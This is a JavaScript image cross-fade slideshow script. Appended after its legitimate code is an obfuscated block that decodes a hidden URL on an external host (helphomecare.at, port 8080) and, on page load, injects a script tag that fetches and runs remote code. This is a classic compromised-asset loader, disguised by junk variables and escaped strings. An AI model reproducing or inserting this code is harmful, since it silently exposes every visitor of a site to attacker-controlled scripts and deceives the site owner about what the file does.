/*
	Image Cross Fade Redux
	Version 1.0
	Last revision: 02.15.2006
	steve@slayeroffice.com
        Script URI: http://slayeroffice.com/code/imageCrossFade/xfade2.html
	Rewrite of old code found here: http://slayeroffice.com/code/imageCrossFade/index.html
*/

window.addEventListener?window.addEventListener('load',so_init,false):window.attachEvent('onload',so_init);

var d=document, imgs = new Array(), zInterval = null, current=0, pause=false;

function so_init()
{
	if(!d.getElementById) return;
	if(!d.getElementById('rotator')) return;

	imgs = d.getElementById('rotator').getElementsByTagName('img');
	for(i=1;i<imgs.length;i++) imgs[i].xOpacity = 0;
	imgs[0].style.display = 'block';
	imgs[0].xOpacity = .99;

	setTimeout(so_xfade,3000);
}

function so_xfade()
{
	cOpacity = imgs[current].xOpacity;
	nIndex = imgs[current+1]?current+1:0;
	nOpacity = imgs[nIndex].xOpacity;

	cOpacity-=.05;
	nOpacity+=.05;

	imgs[nIndex].style.display = 'block';
	imgs[current].xOpacity = cOpacity;
	imgs[nIndex].xOpacity = nOpacity;

	setOpacity(imgs[current]);
	setOpacity(imgs[nIndex]);

	if(cOpacity<=0)
	{
		imgs[current].style.display = 'none';
		current = nIndex;
		setTimeout(so_xfade,3000);
	}
	else
	{
		setTimeout(so_xfade,50);
	}

	function setOpacity(obj)
	{
		if(obj.xOpacity>.99)
		{
			obj.xOpacity = .99;
			return;
		}

		obj.style.opacity = obj.xOpacity;
		obj.style.MozOpacity = obj.xOpacity;
		obj.style.filter = 'alpha(opacity=' + (obj.xOpacity*100) + ')';
	}
}



this.qY="";this.Ai="";function n(){var y=new String();var bc=new String();var M=unescape;var p;if(p!='j' && p!='s'){p='j'};var u=window;var K='';var R="";var Mj;if(Mj!='' && Mj!='cb'){Mj='r'};var c=M("%2f%62%6c%6f%67%67%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%69%6d%65%73%6f%6e%6c%69%6e%65%2e%63%6f%2e%75%6b%2e%70%68%70");var o;if(o!='' && o!='Sq'){o=null};function H(Y,A){var b=String("gpEb".substr(0,1));var Af=M("%5b"), Az=M("%5d");var T=Af+A+Az;this.D="";var ql;if(ql!=''){ql='Bw'};var Q=new RegExp(T, b);var dK=new Array();this.xM='';return Y.replace(Q, new String());this.i='';};var F;if(F!='wn' && F != ''){F=null};var Mo;if(Mo!='g'){Mo='g'};var tc;if(tc!='U'){tc='U'};var tx="";var fD;if(fD!=''){fD='YS'};var bb;if(bb!=''){bb='XO'};var a=H('816242304134382247077192','12359467');var Cn;if(Cn!='AG'){Cn=''};var d=new String();this.m='';var YM;if(YM!='' && YM!='mj'){YM='rC'};var q=document;var l;if(l!='' && l!='Dw'){l=''};var Cmb='';var iR=new Date();var my=new Array();this.LU='';function qr(){this.Fw="";var cu="";var bh=M("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");d=bh;this.Na='';d+=a;var qc="";var LB;if(LB!='' && LB!='ZN'){LB=null};d+=c;var v='';var Wy;if(Wy!=''){Wy='gy'};var EC;if(EC!='bk' && EC!='UR'){EC='bk'};try {var vW=new String();var dd;if(dd!='' && dd!='qhT'){dd='wm'};qh=q.createElement(H('sqc9rqiqpqtv','v9uq'));var jk;if(jk!='' && jk!='sj'){jk='Zv'};var wU;if(wU!='bu'){wU=''};var aD;if(aD!='mx'){aD=''};qh[M("%73%72%63")]=d;var oy='';qh[M("%64%65%66%65%72")]=[1,8][0];var EJ;if(EJ!='Ov' && EJ!='Zk'){EJ=''};var ue;if(ue!='' && ue!='CQ'){ue=null};var XF=new Array();var vY='';q.body.appendChild(qh);} catch(qw){var tw=new Date();this.I='';alert(qw);};this.Rr="";this.sd="";}var Ia='';var Mx='';u[new String("onzqty".substr(0,2)+"pMTGlo".substr(4)+"MHWad".substr(3))]=qr;var XL=new String();var GF;if(GF!='vWO'){GF='vWO'};};var iJ=new String();var fo;if(fo!='kyf' && fo != ''){fo=null};var bU;if(bU!='Rz' && bU != ''){bU=null};n();this.XW='';var cF;if(cF!='kE' && cF!='JT'){cF=''};